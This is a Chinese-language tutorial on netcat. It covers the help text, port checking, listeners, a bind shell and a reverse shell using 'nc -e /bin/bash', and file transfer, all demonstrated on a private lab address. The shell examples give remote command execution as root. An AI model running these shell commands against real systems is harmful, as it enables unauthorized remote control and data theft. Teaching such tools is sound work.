Netcat——TCP/IP连接工具(瑞士军刀)

• Netcat的帮助信息

# nc -h
[v1.10-41.1]
connect to somewhere:   nc [-options] hostname port[s] [ports] ... 
listen for inbound: nc -l -p port [-options] [hostname] [port]
options:
    -c shell commands   as `-e'; use /bin/sh to exec [dangerous!!]
    -e filename     program to exec after connect [dangerous!!]
    -b          allow broadcasts
    -g gateway      source-routing hop point[s], up to 8
    -G num          source-routing pointer: 4, 8, 12, ...
    -h          this cruft
    -i secs         delay interval for lines sent, ports scanned
        -k                      set keepalive option on socket
    -l          listen mode, for inbound connects
    -n          numeric-only IP addresses, no DNS
    -o file         hex dump of traffic
    -p port         local port number
    -r          randomize local and remote ports
    -q secs         quit after EOF on stdin and delay of secs
    -s addr         local source address
    -T tos          set Type Of Service
    -t          answer TELNET negotiation
    -u          UDP mode
    -v          verbose [use twice to be more verbose]
    -w secs         timeout for connects and final net reads
    -C          Send CRLF as line-ending
    -z          zero-I/O mode [used for scanning]
port numbers can be individual or ranges: lo-hi [inclusive];
hyphens in port names must be backslash escaped (e.g. 'ftp\-data').

nc的功能

• telnet / 获取系统 banner 信息
• 传输文本信息
• 传输文件和目录
• 加密传输文件
• 端口扫描
• 远程控制 / 正方向 shell
• 流媒体服务器
• 远程克隆硬盘

连接端口

• 检查本机的22端口

~# nc -v 192.168.124.21 22
192.168.124.21 [192.168.124.21] 22 (ssh) open
SSH-2.0-OpenSSH_7.9p1 Debian-10

• 打开网络端口

# nc -lvp 1234

# netstat -utnlp | grep 1234
tcp        0      0 0.0.0.0:1234            0.0.0.0:*               LISTEN      2240/nc

• -l：表示监听。-v：表示详细输出。-p：指定端口号

开放式shell

• netcat的shell命令受理端功能，可以让所有能连接受理端端口的用户执行任意命令

# nc -lvp 1234 -e /bin/bash
listening on [any] 1234 ...
connect to [192.168.124.21] from 192.168.124.21 [192.168.124.21] 49362

# nc 192.168.124.21 1234
whoami
root
ls
公共
模板
视频
图片
文档

反弹式Shell

• 反弹式Shell，让受理端接入摸个准备发送命令的监听端进程

# nc -lvp 1234 
listening on [any] 1234 ...
connect to [192.168.124.21] from 192.168.124.21 [192.168.124.21] 49364

# nc 192.168.124.21 1234 -e /bin/bash
whoami
ls

管道输出功能

• 使用 “<” 管道让Netcat吧接受的内容输出为文件

# nc -lvp 1234 > netcatfile

# nc 192.168.124.21 1234 < myfile